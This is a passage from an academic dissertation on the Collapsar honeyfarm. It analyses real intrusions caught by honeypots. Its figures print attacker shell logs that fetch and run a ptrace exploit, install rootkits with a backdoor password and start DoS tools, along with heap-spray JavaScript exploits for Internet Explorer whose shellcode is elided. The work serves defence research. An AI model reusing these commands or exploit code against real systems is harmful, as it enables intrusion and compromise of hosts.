Contrary to the results in Figures 3.2(a) and 3.2(b), the UML-based VM achieves

better TCP throughput and ICMP latency than the VMware-based VM. This is because

of the optimized traffic dispatching mechanism implemented for UML (Section 3.4.2).

Another important observation from Figures 3.3(a) and 3.3(b) is that traffic redirecting

and dispatching in Collapsar incur a non-trivial network performance penalty (comparing

with the curve “Direct”). For remote attackers (or those behind a weak link), such a penalty

may be “hidden” by the already degraded end-to-end network performance. However, for

“nearby” attackers, such a penalty may be observable by comparing performance to a real

host in the same network. This is a limitation of the Collapsar design. Router-based traffic

redirection (Section 3.4.1) as well as future hardware-based virtualization technology are

expected to alleviate this problem.

3.6 Experiments with Collapsar

In this section, we present a number of real-world network attack incidents captured by

Collapsar. We also present the recorded attacker activities to demonstrate the effectiveness

and practicality of Collapsar. Finally, we demonstrate the potential of Collapsar in log

mining and event correlation.
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3.6.1 Environment Setup

In our Collapsar testbed, there are five production networks: three Ethernet LANs, one

wireless LAN, and one DSL network. A Collapsar center is located in another Ethernet

LAN. The virtual honeypots in the Collapsar center run a variety of operating systems,

including RedHat Linux 7.2/8.0, Windows XP Home Edition, FreeBSD 4.2, and Solaris

8.0. Before the start of Collapsar operation, the checksum of every file (via md5sum)

in a honeypot (virtual machine) has been calculated and stored for future reference. For

each representative attack incident, we examine the specific vulnerability, describe how

the system was compromised, and show the attacker’s activities after the break-in. Our

purpose is to demonstrate the effectiveness of Collapsar when facing real-world attacks.

[2003-11-25 09:33:55  aaa.bb.c.126 7817 sh 48]export HISTFILE=/dev/null; echo; 
echo ’ >>>>  GAME OVER!  Hackerz Win ;)  <<<<’; echo; echo; echo "******  I AM 
IN ’‘hostname -f‘’  ******"; echo; if [ -r /etc/redhat-release ]; then echo 
‘cat /etc/redhat-release‘; elif [ -r /etc/suse-release ]; then echo SuSe ‘cat 
/etc/suse-release‘; elif [ -r /etc/slackware-version ]; then echo Slackware 
‘cat /etc/slackware-version‘; fi; uname -a; id; echo

[2003-11-25 09:34:01  aaa.bb.c.126 7817 sh 48]cd /tmp
[2003-11-25 09:34:07  aaa.bb.c.126 7817 sh 48]wget http://xxxxxxxxxxxxxxxxxxxx.xx
/0304-exploits/ptrace-kmod.c;gcc  ptrace-kmod.c -o p;./p

[2003-11-25 09:35:46  aaa.bb.c.126 7838 sh 0]wget http://xxxxxxx.xx.xx/vip/shauli/
shv4.tar.gz;tar -xzf shv4.tar.gz;cd shv4;./setup rooter 1985

[2003-11-25 09:36:16  aaa.bb.c.126 8009 xntps 0]SSH-1.5-PuTTY-Release-0.53b
[2003-11-25 09:36:57  aaa.bb.c.126 8009 xntps 0]cd /home;adduser ftpd;su ftpd
[2003-11-25 09:37:00  aaa.bb.c.126 8009 xntps 0]cd ftpd;mkdir .logs;cd .logs
[2003-11-25 09:37:04  aaa.bb.c.126 8009 xntps 0]wget http://xxxxxxx.xxx/archive/
v1.2/iroffer1.2b22.tgz;tar -zvxf iroffer1.2b22.tgz;cd iroffer1.2b22;./Configure;make
[2003-11-25 09:37:50  aaa.bb.c.126 8009 xntps 0]mv iroffer syst
[2003-11-25 09:37:52  aaa.bb.c.126 8009 xntps 0]pico rpm
[2003-11-25 09:38:01  aaa.bb.c.126 8009 xntps 0]./syst -b rpm/dev/null &

1. Gaining a regular
 account: apache

3. Installing a set
    of backdoors

4. Adding the ftp user
   and installing a 
   IRC-based ftp server

2. Escalating to the 
   root privilege

Figure 3.4. Collapsar log of attacker activities after break-in via Apache

3.6.2 Server-Side Honeypot Incidents

3.6.2.1 A Linux/VMware Server-Side Honeypot

The first recorded incident was an attack on an Apache server version 1.3.20-16 run-

ning on RedHat 7.2 using the Linux kernel 2.4.7-10. The honeypot compromised was a
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VMware-based virtual machine in the Collapsar center, with logical presence in one of the

LAN production networks.

Vulnerability description: Apache web server versions up to 1.3.24 contain a vulnera-

bility [45] in the chunk-handling routines. A carefully crafted invalid request can cause an

Apache child process to call the memcpy() function in a way that will write past the end of

its buffer, corrupting the stack and thus resulting in a stack overflow. Remote attackers can

exploit this vulnerability to access the system using the system’s Apache account. Mean-

while, unpatched Linux kernels version 2.4.x contain a ptrace vulnerability [46], which

can be exploited by malicious local users to escalate their privileges to root.

Incident: An Apache honeypot was deployed in the Collapsar center at 11:44:03PM on

11/24/2003 and was compromised at 09:33:55AM on 11/25/2003. Collapsar captured

all information related to the vulnerability-exploiting process, including the attacker’s

keystrokes after the break-in as shown in Figure 3.4. The complete log of the break-in

is available on the Collapsar website [47].

 **  0 packs  **   30 of 30 slots open, Min: 3.0KB/s
 **  Bandwidth Usage  **  Current: 0.0KB/s,
 **  To request a file type: "/msg xxxxxxxxxxx xxxx send #x"  ** 
 **  Brought To You By xxxxxx  ** 
Total Offered: 0.0 MB  Total Transferred: 0.00 MB

Figure 3.5. Attack via Apache leading to an iroffer backdoor (logged by Collapsar)

First, a TCP connection to port 443 on the honeypot was initiated, the attacker then

sent one malicious packet (actually several TCP segments), triggering buffer overflow in

the Apache web server. The malicious code contained in the packets spawned a shell with

the privilege of the system’s Apache account. With the shell, the attacker quickly down-

loaded, compiled, and executed a program exploiting the ptrace vulnerability [46]. Once

executed, the ptrace exploitation code gave the attacker root privileges. After obtaining

root privileges, the attacker downloaded a rootkit called SHv4 Rootkit [48] and installed a

trojaned ssh backdoor with a password rooter on port 1985. Upon successfully installing

the trojaned ssh server, a login session was initiated from PuTTY version 0.53b, a popular
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Windows SSH client, to port 1985 accessing the trojaned ssh server, so that all communi-

cations between the honeypot and the attacker could be encrypted. Traditional techniques

such as tcpdump and NIDS become less effective once traffic is encrypted. However, the

Collapsar in-kernel logging module sebek [42] was able to hijack SYS read system calls

and recognize the attacker’s keystrokes (Figure 3.4).

Backdoor in action: Based on the logged keystrokes, we were able to infer the attacker’s

tactics and goals. The attacker first added a new user account ftp, then installed iroffer [49].

Iroffer is a program that enables the hosting machine to act as a file server for an IRC

channel similar to the Napster file sharing system [50]. Once started, iroffer connected

to an IRC server and logged into a certain channel. The attacker was able to remotely

re-configure iroffer which would periodically report its status in the channel, including

available space, files, and transmission status. Figure 3.5 shows a status report generated

by iroffer and logged by Collapsar logging module. It indicates that the attacker was able

to request/offer files from/to others in the channel.

Forensic analysis: After detecting iroffer installation, no further keystrokes were cap-

tured. We took a snapshot of the honeypot image (available in [47]) and disconnected the

honeypot from the Collapsar center. A quick verification using md5sum revealed several

trojaned system routines, including netstat, ls, ps, find, and top; one ssh backdoor; and the

iroffer program.

3.6.2.2 A Linux/UML Server-Side Honeypot

The second incident was an attack on the Samba server version 2.2.1a-4 running on

RedHat 7.2. The honeypot was a UML-based virtual honeypot with enhanced network

virtualization. The honeypot resided in the Collapsar center but had a logical presence in

one of the LAN production networks.

Vulnerability description: The Samba server versions 2.0.x through 2.2.7a contains a

buffer overflow vulnerability associated with the re-assembly of SMB/CIFS packet frag-

ments [51]. This vulnerability allows a remote attacker to gain root privileges in a host

running the Samba server.
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[2003-11-26 11:41:17  aaa.bb.c.31 8100 sh 0]unset HISTFILE; echo "wooooot! xxxxx owns 
u :)";uname -a;id;uptime;

[2003-11-26 11:41:32  aaa.bb.c.31 8100 sh 0]wget xxxxxx.xx.xx/rkzz.tgz
[2003-11-26 11:41:48  aaa.bb.c.31 8100 sh 0]tar -zxvf rkzz.tgz;rm -rf rkzz.tgz;cd .max;
./install
[2003-11-26 11:41:58  aaa.bb.c.31 8100 sh 0]killall -9 smbd nmbd lisa logger
[2003-11-26 11:51:14  aaa.bb.c.31 8163 httpd 0]SSH-1.5-PuTTY-Release-0.53b
[2003-11-26 11:51:30  aaa.bb.c.31 8163 httpd 0]pstree
[2003-11-26 11:51:34  aaa.bb.c.31 8163 httpd 0]ps -ax
[2003-11-26 11:51:49  aaa.bb.c.31 8163 httpd 0]wget xxxxxx.xx.xx/skk.tgz
[2003-11-26 11:52:03  aaa.bb.c.31 8163 httpd 0]tar -zxvf skk.tzg;rm -rf skk.tg
[2003-11-26 11:52:07  aaa.bb.c.31 8163 httpd 0]rm -rf skk.tgz
[2003-11-26 11:52:08  aaa.bb.c.31 8163 httpd 0]cd skk
[2003-11-26 11:52:08  aaa.bb.c.31 8163 httpd 0]kk
[2003-11-26 11:52:09  aaa.bb.c.31 8163 httpd 0]./sk

[2003-11-26 11:52:11  aaa.bb.c.31 8163 httpd 0]cd ..
[2003-11-26 11:56:42  aaa.bb.c.31 8163 httpd 0]wget xxxxxx.xx.xx/flood.tgz
[2003-11-26 11:57:32  aaa.bb.c.31 8163 httpd 0]tar xvfz flood.tgz;rm -rf flood.tgz
[2003-11-26 11:57:35  aaa.bb.c.31 8163 httpd 0]cd flood
[2003-11-26 11:57:45  aaa.bb.c.31 8163 httpd 0]./alpha

2. Installing a set
    of backdoors

3. Downloading a set 
   of DoS attack tools
   and initiating the
   DoS attack

1. Gaining a root 
   privilege directly

Figure 3.6. Collapsar log of attacker activities after break-in via Samba

Incident: The Samba honeypot was activated in the Collapsar center at 12:01:03PM on

11/25/2003, and was compromised at 11:41:17AM on 11/26/2003. With the help of log-

ging module kernort, Collapsar captured all information related to the attack, including

scanning attempts and attacker keystrokes after the break-in (shown in Figure 3.6). The

complete log can be found at [47]. First, a scanning NetBIOS name packet was sent to

UDP port 137 and the honeypot running a vulnerable Samba server responded with MAC

address 00-00-00-00-00-00, which indicated that a Samba server is running. After re-

ceiving the response, a TCP connection to port 139 was established and several malicious

packets guessing different return addresses were sent in the hope of launching a buffer

overflow attack. The malicious packets contained port-binding shell-code, which will lis-

ten on TCP port 45295 if correctly executed. Based on information in the Collapsar log in-

formation, we are able to identify six attempts to guess the return address, i.e., 0xbffffed4,

0xbffffda8, 0xbffffc7c, 0xbffffb50, 0xbffffa24, and 0xbffff8f8, in the malicious code.

After successfully exploiting the Samba server, the remote attacker gained root privi-

leges and installed a rootkit wrapper rkzz.tgz, which contains a trojaned sshd backdoor and

a sniffer program. Once the sshd backdoor was installed, the attacker quickly created an

ssh connection using PuTTY-0.53b, encrypting all subsequent traffic. Using the ssh con-

nection, the attacker downloaded a program package skk.tgz, which is the SucKit rootkit. It

seemed that SucKit could not be installed successfully in the UML, so the attacker down-
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loaded another attack package, flood.tgz, and immediately started a DoS attack. The attack

package contained several DoS attack tools, including the infamous smurf, overdrop, and

synsend.

Forensic analysis: Once the DoS attack was started, the tarpitting module in Collapsar

detected a burst of out-going TCP-SYN packets, which indicated a successful compromise

and an on-going DoS attack. The tarpitting module immediately raised an alarm and the

Samba honeypot was disconnected from the Collapsar center. Forensic analysis revealed

the installation of many flooding tools in /tmp/share/flood, which is consistent with the log

information generated by the Collapsar logging module.

Another VMware-based virtual honeypot running the same Samba service was also

compromised by the same IP, and an IRC bot, psyBNC [52], was installed enabling the at-

tacker to remotely control the compromised honeypot via an IRC network. With VMware

support, a snapshot of the honeypot was taken, demonstrating VMware’s flexibility and

convenience for forensic analysis over UML.

3.6.2.3 A Windows XP/VMware Server-Side Honeypot

The third incident was related to the RPC DCOM vulnerability in the Windows Plat-

form. We deployed a VMware-based virtual honeypot running an unpatched Windows XP

Home Edition operating system in the Collapsar center.

Vulnerability description: Windows DCOM contains a vulnerable Remote Procedure

Call (RPC) interface [53], which can be exploited to run arbitrary code with local system

privileges in the affected system. After a successful compromise, the attacker is free to

take any action in the system including installing programs, modifying data, and creating

new accounts with full privileges.

Incident: A honeypot running the unpatched Windows XP was deployed in the Collapsar

center at 10:10:00PM on 11/26/2003, and was compromised several times on 11/27/2003:

one at 00:36:47AM by the MSBlast.A worm [54], one at 01:48:57AM by the Enbiei worm

(namely MSBlast.F worm), and another at 07:03:55AM by the Nachi worm [55]. Collap-
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sar recorded all important log information covering the infection process of each worm.

The complete log is available at [47].

Figure 3.7. Screenshot re-constructed from a honeypot snapshot: suc-
cessful break-ins by MSBlast, Enbiei, and Nachi worms

For each worm, an initial TCP connection was established with port 135 in the Win-

dows XP honeypot (Nachi worm will use an ICMP echo request to test whether the target

is alive before the TCP connection attempt). To the worm, a successful connection is

an indication of possible existence of the RPC vulnerability. Once the connection had

been established, malicious packets were sent, which caused a stack buffer overflow in the

RPC interface implementing DCOM services. The malicious code contained port-binding

shell-code, which would listen on TCP port 4444. After a shell was invoked, each worm

downloaded and executed a copy of itself, completing one round of worm propagation.

The MSBlast and Enbiei worms mounted Denial of Service (DoS) attacks against two

specific web sites. The Nachi worm tried to terminate and delete the MSBlast worm. In

addition, after installing tftpd.exe, the TCP/IP trivial file transfer daemon, the Nachi worm

tried to download and install an RPC DCOM vulnerability patch named WindowsXP-
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KB823980-x86-ENU.exe, so that no other worms or attacks could break into the system

by exploiting the same vulnerability.

Backdoor in action: Figure 3.7 shows a screenshot re-constructed from the honeypot’s

snapshot. It illustrates the running of Enbiei and Nachi worms. The original MSBlast

worm has been terminated and deleted by the Nachi worm, which is the reason why no

MSBlast process can be found in the screenshot. These worms also generated a large

volume of scanning packets (ICMP echo request packets and TCP connection attempts to

port 139 of other hosts), which were mitigated by the Collapsar tarpitting module.

Forensic analysis: After disconnecting the infected honeypot from the Collapsar center,

a quick examination revealed the following files: enbiei.exe in directory C:\WINDOWS

\system32\ and SVCHOST.exe and DLLHOST.exe in directory C:\WINDOWS\system32

\wins\. File enbiei.exe corresponds to the Enbiei worm; while SVCHOST.exe and DLL-

HOST.exe are for the Nachi worm. We also expected that file msblast.exe would exist in

C:\WINDOWS\system32\. However, it had been deleted by the Nachi worm.

3.6.3 Client-Side Honeypot Incidents

The previous three attack incidents were captured by the server-side honeypots in Col-

lapsar. In the following, we present two malware attacks captured by the client-side hon-

eypots in Collapsar.

3.6.3.1 A Windows XP/VMware Client-Side Honeypot

This incident is related to the Internet Explorer (IE) JView Profiler Vulnerability (MS05-

037/CVE-2005-2087) on the Windows platform. We deployed a VMware-based client-

side honeypot running an unpatched Windows XP system with the default IE web browser

in the Collapsar center.

Vulnerability description: As described in CVE-2005-2087 [56], Internet Explorer

6.0.2900.2180 on Windows XP allows remote attackers to cause a denial of service (ap-

plication crash) and execute arbitrary code via a web page with embedded CLSIDs that
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reference certain COM objects that are not ActiveX controls. An example of non-ActiveX

control is the JVIEW Profiler (Javaprxy.dll).

Incident: The client-side honeypot running the unpatched Windows IE was deployed in

the Collapsar center at 08:10:00PM on 9/26/2005 and was driven to visit a URL, which we

anonymized as http://www.superxxxxx.com/xxxxxxx/yes.html. After the visit, the wallpa-

per (shown in Figure 3.8(a)) of the honeypot’s desktop displayed a warning that the system

was infected with spyware. One minute later, “uninvited” software named SpySheriff was

installed without user permission and ironically began to scan the local disk to remove

possible spyware. The screenshot with its scanning activity is shown in Figure 3.8(b).

Forensic analysis: The honeypot was disconnected after the anomaly was observed. With

the output of the Collapsar logging module, we were able to identify the cause and dam-

ages of this intrusion. More specifically, Figure 3.9 displays the malicious javascript snip

from the exploit URL. The highlighted CLSID, which refers to the Javaprxy.dll COM ob-

ject, was unsafely initiated to exploit the JView Profiler vulnerability. The successful ex-

ploitation resulted in the execution of embedded attack code (Figure 3.9), which replaced

the desktop wallpaper (Figure 3.8(a)) and connected to another web server to download

and install the SpySheriff program (Figure 3.8(b)).
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(a) The first screenshot: the desktop wallpaper was replaced

(b) The second screenshot: “unwanted”software was installed and launched

Figure 3.8. Screenshots re-constructed from a honeypot snapshot after
visiting a malicious URL
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<SCRIPT language="javascript">
  shellcode = unescape("%u4343"+"%u4343"+"%u4040%u4040......%u98ff");
  bigblock = unescape("%u0D0D%u0D0D");
  headersize = 20; slackspace = headersize+shellcode.length

  while (bigblock.length<slackspace) 
       bigblock+=bigblock;

  fillblock = bigblock.substring(0, slackspace);
  block = bigblock.substring(0, bigblock.length-slackspace);

  while(block.length+slackspace<0x40000) 
       block = block+block+fillblock;

  memory = new Array();
  for (i=0;i<750;i++) 
       memory[i] = block + shellcode;
</SCRIPT>

 <object classid="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></object>

Figure 3.9. Malicious javascript code from the exploiting URL

3.6.3.2 Another Windows XP/VMware Client-Side Honeypot

The fifth incident is also related to the Internet Explorer (IE) browser but involves an-

other vulnerability: DHTML Method Heap Memory Corruption (MS05-014/CAN-2005-

0055). A VMware-based client-side honeypot running an unpatched Windows XP system

with the default IE web browser was deployed in the Collapsar center.

Vulnerability description: The unpatched IE browser contained a bug in its handling of

certain DHTML methods. An attacker could exploit the vulnerability by constructing a

malicious web page and luring a user to visit it. A successful exploitation of this vulnera-

bility could allow attackers to take complete control of the compromised system [57].

Incident: The client-side honeypot running the unpatched Windows IE was deployed

in the Collapsar center at 09:35:00PM on 10/06/2005, and was driven to visit a URL,

anonymized as http://xxx.9x.xx8.8x/users/xxxx/xxx/laxx/z.html. After the visit, a total of

22 programs were installed in the honeypot without user permission.

Forensic analysis: Forensic analysis showed that this intrusion was obfuscated - the actual

exploiting code taking advantage of the IE DHTML heap memory corruption vulnerability

(MS05-014) did not unfold until after four stages of obfuscation: the first stage contained

a customized javascript decode; the second stage exploited the IE support for dynamic
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code generation with the document.write() primitive; the third stage contained another

customized javascript decoder, which was revealed after the first two stages; finally, the

fourth stage leveraged the Unicode character-set support in IE to further obfuscate attack

code. The final attack code is shown in Figure 3.10: The DHTML method, i.e., create-

ControlRange(), was exploited to cause heap memory corruption in the IE process and

trigger the execution of an embedded well-crafted machine instruction sequence, which

resulted in the installation of the 22 unwanted programs.

<script>
try{

  sc=unescape("%u4040%u4040 ... ... %ufbe6%u9e9e");
  bb=unescape("%u0d0d%u0d0d");
  while(bb.length<0x40000){ bb+=bb }
  bb=bb.substring(0,0x40000-sc.length-28);

  me=new Array();
  for(i=0;i<450;i++){
        me[i]=bb+sc
  }

  z=Math.ceil(0xd0d0d0d);
  z=document.scripts[0].createControlRange().length;

}catch(e){}
</script>

Figure 3.10. Malicious javascript code from the exploiting URL

3.6.4 Attack Correlation

The Collapsar center creates opportunities to perform correlation and mining-based

attack analysis. In the following, we present two simple incidents based on the correlation

of honeypot logs collected in Collapsar.

3.6.4.1 Stepping Stone Suspect

In the Collapsar log, a honeypot running a vulnerable version of the Apache web

server was compromised by a remote machine with IP address (anonymized) iii.jjj.kkk.11.

A rootkit and a trojaned sshd backdoor were then installed in the honeypot. The sshd



37

backdoor was configured with a password known to the attacker. One minute later, an ssh

connection was initiated from a different remote IP address xx.yyy.zzz.3 using the same

password. There is a possibility that machine iii.jjj.kkk.11 had itself been compromised

before the attack on the honeypot running the Apache server was launched. This log

information is shown in Figure 3.11. We note that such evidence is by no means sufficient

to confirm a stepping stone [44] case. However, with a wider range of target networks and

longer duration of log accumulation, a future Collapsar center will be more likely to detect

stepping stones and trace back original attackers.

 

/* Exploit codes for Apache Chunk Handling Vulnerability */ 
... ... 
 
17:45:43.014405 iii.jjj.kkk.11.4775 > aaa.bb.c.125.443: P 790:797(7) ack 5340 
win 34880 <nop,nop,timestamp 22920631 5764072> (DF) 
0x0000   4500 003b 71ef 4000 3306 fa74 cbc6 860b        E..;q.@.3..t.... 
0x0010   800a 097d 12a7 01bb 9b4c ee60 9b51 2c3e        ...}.....L.`.Q,> 
0x0020   8018 8840 e50e 0000 0101 080a 015d bdb7        ...@.........].. 
0x0030   0057 f3e8 2e2f 696e 7374 0a                    .W.../inst. 
 
... ... 
/* SSH connection against sshd backdoor from another different IP! */ 
17:46:46.104626 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: S 
389507617:389507617(0) win 8760 <mss 536,nop,nop,sackOK> (DF) 
0x0000  4500 0030 1ac2 4000 6f06 30b7 51c4 e503 E..0..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a21 0000 0000 ...}.f...7j!.... 
0x0020  7002 2238 16a3 0000 0204 0218 0101 0402 p."8............ 
17:46:46.105445 aaa.bb.c.125.cfinger > xx.yyy.zzz.3.1126: S 
2758367448:2758367448(0) ack 389507618 win 5840 <mss 1460,nop,nop,sackOK> (DF) 
0x0000  4500 0030 0000 4000 4006 7a79 800a 097d E..0..@.@.zy...} 
0x0010  51c4 e503 07d3 0466 a469 58d8 1737 6a22 Q......f.iX..7j" 
0x0020  7012 16d0 211c 0000 0204 05b4 0101 0402 p...!........... 
17:46:46.422319 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: . ack 1 win 9112 
(DF) 
0x0000  4500 0028 1ac3 4000 6f06 30be 51c4 e503 E..(..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a22 a469 58d9 ...}.f...7j".iX. 
0x0020  5010 2398 4118 0000 4100 0000 0000      P.#.A...A..... 
17:46:46.728800 aaa.bb.c.125.cfinger > xx.yyy.zzz.3.1126: P 1:16(15) ack 1 win 
5840 (DF) [tos 0x10]  
0x0000  4510 0037 55d5 4000 4006 248d 800a 097d E..7U.@.@.$....} 
0x0010  51c4 e503 07d3 0466 a469 58d9 1737 6a22 Q......f.iX..7j" 
0x0020  5018 16d0 ac5b 0000 5353 482d 312e 352d P....[..SSH-1.5- 
0x0030  312e 322e 3235 0a                       1.2.25. 
17:46:47.050246 xx.yyy.zzz.3.1126 > aaa.bb.c.125.cfinger: P 1:28(27) ack 16 
win 9097 (DF) 
0x0000  4500 0043 1ac5 4000 6f06 30a1 51c4 e503 E..C..@.o.0.Q... 
0x0010  800a 097d 0466 07d3 1737 6a22 a469 58e8 ...}.f...7j".iX. 
0x0020  5018 2389 4c55 0000 5353 482d 312e 352d P.#.LU..SSH-1.5- 
0x0030  5075 5454 592d 5265 6c65 6173 652d 302e PuTTY-Release-0. 
0x0040  3533 0a                                 53. 

Figure 3.11. Collapsar log showing a possible stepping stone attack

3.6.4.2 Network Scanning

Network scanning has become common, with the existence of various scanning meth-

ods such as ping sweeping, port knocking, OS finger-printing, and firewalking. Figure
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14:49:44.139231 xx.yy.zzz.125 > aaa.bb.9.126: icmp: echo request 
0x0000   4500 005c 30de 0000 7301 0798 0c26 797d        E..\0...s....&y} 
0x0010   800a 097e 0800 95dc 0200 0ace aaaa aaaa        ...~............ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa                                           .. 
14:50:21.853938 xx.yy.zzz.125 > ccc.dd.8.32: icmp: echo request 
0x0000   4500 005c 2ece 0000 7301 0b06 0c26 797d        E..\....s....&y} 
0x0010   800a 0820 0800 f2dd 0200 adcc aaaa aaaa        ................ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa     
14:50:50.970419 xx.yy.zzz.125 > eee.ff.21.9: icmp: echo request 
0x0000   4500 005c 3e04 0000 7301 eee6 0c26 797d        E..\>...s....&y} 
0x0010   800a 1509 0800 16d1 0200 89d9 aaaa aaaa        ................ 
0x0020   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0030   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0040   aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa        ................ 
0x0050   aaaa                   

Figure 3.12. Collapsar log showing an ICMP sweeping scan

3.12 shows the ICMP (ping) sweeping activity from the same source address (xx.yy.zzz.125)

against three honeypots within a short period of time (1.0 second). The honeypots are vir-

tually present in three different production networks. Based on the payload, it is likely

that a Nachi worm [55] is performing the scan.

3.7 Related Work

Honeyd [26] is one of the most comparable projects with respect to support for mul-

tiple honeypots and traffic diversion. Simulating multiple virtual computer systems at

the network level with different personality engines, honeyd is able to deceive network

fingerprinting tools and provide arbitrary routing topologies and services for an arbitrary

number of virtual systems. The main difference between honeyd and Collapsar is that

honeyd is a low-interaction virtual honeypot framework, while all honeypots in Collapsar

are high-interaction virtual machines. Honeyd is more scalable than Collapsar, because

every computer system in honeyd is simulated. With high-interaction honeypots, Collap-

sar is able to provide a more authentic environment for attackers to interact with and has a

potential for capturing attacks with zero-day exploits.

Potemkin [58] is another related project that creates a high-interaction honeyfarm with

high fidelity as well as scalability. Although the original Collapsar (without reverse hon-
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eyfarm support) [11] demonstrated the feasibility of the honeyfarm vision, Potemkin, via

aggressive memory sharing and late binding of resources, significantly improves a honey-

farm’s scalability by up to six orders of magnitude while still preserving the honeypots’ fi-

delity in emulating the behavior of real-world hosts on the Internet. The current Potemkin

prototype leverages the Xen [29] virtual machine platform, which requires open-source

access and modification to the guest operating systems.

Network Telescope [34] is an architecture that provides distributed presence for the de-

tection of global-scale security incidents. Using similar architectures, both iSink [59] and

Netbait [60] run a set of simplified network services in participating machines. The ser-

vices will log all incoming requests and aggregate log data in a centralized server, so that

pattern matching techniques can be applied to identify well-known signatures of worms

and viruses. None of Network Telescope, iSink, and Netbait involves real-time traffic

diversion mechanisms. They either perform passive monitoring or provide limited inter-

activity with attackers. The Internet Storm Center [61] is an effort at the SANS institute to

gather log data from participating intrusion detection sensors. The sensors are distributed

around the world. However, this system does not present an interactive environment to

attackers, nor is it capable of real-time attack traffic diversion.

Both the Strider HoneyMonkey exploit detection system [13] and the Honeyclient sys-

tem [30] are among the first to propose and implement client-side honeypots. Different

from server-side honeypots, client-side honeypots face the challenge of maintaining wide

network coverage. To achieve wide coverage, client-side honeypots crawl the web to

reveal possible exploits of client-side software. Unfortunately, the effectiveness of client-

side honeypots may decrease over time, once the “launching” domain of the honeypots

is blacklisted by malicious servers. Collapsar addresses this problem by realizing the re-

verse honeyfarm vision, so that client requests from the reverse honeyfarm will appear to

the servers as coming from many different network domains.



40

3.8 Summary

We have presented the design, implementation, and evaluation of Collapsar, a virtual-

ization based server-side and client-side honeyfarm architecture for Internet malware cap-

ture. Collapsar achieves the following salient properties: centralized honeypot manage-

ment and decentralized honeypot presence. Centralized management ensures consistent,

effective operations in deploying, administering, investigating, and correlating multiple

honeypots, while distributed presence provides a diverse view of network attack activities.

Real-world deployment and several attack incidents captured by Collapsar demonstrate its

effectiveness and practicality in realizing both the server-side honeyfarm and client-side

honeyfarm visions using one integrated architecture.
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4 VIRTUAL PLAYGROUND FOR INTERNET WORMS AND MALWARE

INVESTIGATION

4.1 Introduction

In the previous chapter, we present a virtualization-based honeyfarm architecture as the

front-end to attract and capture Internet worms and malware. The next research problem

is how to analyze a captured malware and understand its features and behavior. As men-

tioned in Chapter 1, we have witnessed increasingly novel features of emerging Internet

worms and malware in their infection and propagation strategies [62], such as polymor-

phic appearance [63], multi-vector infection [64], self-destruction [65], and intelligent

payloads with self-organized attack networks [10] or mass-mailing capability [66]. To

understand key aspects of malware infection behavior such as probing, exploitation, prop-

agation, and malicious payloads, researchers have hoped to have a safe and convenient

environment to run and observe real-world malware. Such a “playground” environment is

useful not only in assessing the impact of malware intrusion and propagation, but also in

testing malware detection and defense mechanisms [32, 67–69]. For the rest of this chap-

ter, we will focus on the design and implementation of playgrounds for self-propagating

worms, though such a playground can readily be leveraged for general Internet malware

investigation.

Despite its usefulness, there are research challenges in realizing a worm playground.

Major challenges include the playground’s fidelity, confinement, scalability, resource ef-

ficiency, as well as the convenience in worm experiment setup and control. Currently, a

common practice is to deploy a dedicated testbed with a large number of physical ma-

chines, and to use these machines as nodes in the worm playground. Unfortunately, this

approach may not effectively address the above challenges, for the following reasons: (1)

Because of the coarse granularity (the whole physical host) of playground entities, the
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scale of a worm playground is constrained by the number of physical hosts, affecting the

full exhibition of worm propagation behavior; (2) By nature, worm experiments are de-

structive. With physical hosts as playground nodes, it is a time-consuming and error-prone

manual task for worm researchers to re-install, re-configure, and reboot worm-infected

hosts between experiment runs; and (3) Using physical hosts for worm tests may lead

to security risk and impact leakage, because the hosts may connect to machines outside

the playground. However, if we make the testbed a physically-disconnected “island,” the

testbed will not be shareable to remote researchers.

In this chapter, we present the design, implementation, and evaluation of a virtualization-

based platform to create safe virtual worm playgrounds called vGrounds, on top of a

general-purpose infrastructure. vGround has been used to analyze Linux worms, which

represent a non-negligible source of Internet insecurity, with the increasing popularity of

Linux in the server market. Though the current prototype does not support Windows-

based worms, our design concepts and methodology can be applied to the development of

Windows-based vGrounds.

The vGround platform conveniently turns a physical infrastructure into a base to host

multiple vGrounds. An infrastructure can be a single physical machine, a local cluster, or a

multi-domain overlay infrastructure such as PlanetLab [70]. A vGround is an all-software

virtual environment with realistic end-hosts and network entities, all realized as virtual

machines (VMs). Furthermore, a virtual network (VN) connects these VMs and confines

worm traffic within the vGround. The salient features of vGround include:

• High fidelity By running real-world OS, applications, and networking software, a

vGround allows real worms to propagate as it does in the real Internet. Our full-

system virtualization approach achieves the fidelity that leads to more opportunities

to capture the nuances, tricks, and variations of worms, compared with simulation-

based approaches [71].

• Strict confinement Using our VM and VN (virtual network) technologies, the real

Internet is invisible (unaddressable) from inside a vGround, preventing the leakage
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of negative impact caused by worm infection, propagation, and malicious payloads

[2, 65] into the underlying infrastructure and cascadingly, the rest of the Internet.

Furthermore, the damages caused by a worm affect only the virtual entities and

components in one vGround and do not affect other vGrounds running on the same

infrastructure.

• Flexible and efficient worm experiment control Because of the all-software nature

of vGround, the instantiation, re-installation, and tear-down of a vGround are fast

and automatic, saving worm researchers time and labor. For example, in our Lion

worm experiment, it takes only 60, 90, and 10 seconds, respectively, to generate,

bootstrap, and tear-down the vGround with 2000 virtual nodes. Such efficiency is

essential when performing multiple runs of a destructive experiment, as these op-

erations could take hours or even days if the same experiment is performed in a

physical playground. More importantly, vGround can be used by researchers with-

out the need for administrator privileges of the underlying infrastructure.

• High resource efficiency Because of the scalability of our virtualization techniques,

the scale of a vGround can be magnitudes larger than the number of physical ma-

chines in the infrastructure. In our current implementation, one physical host can

support several hundred VMs. For example, we have experimented with the Lion

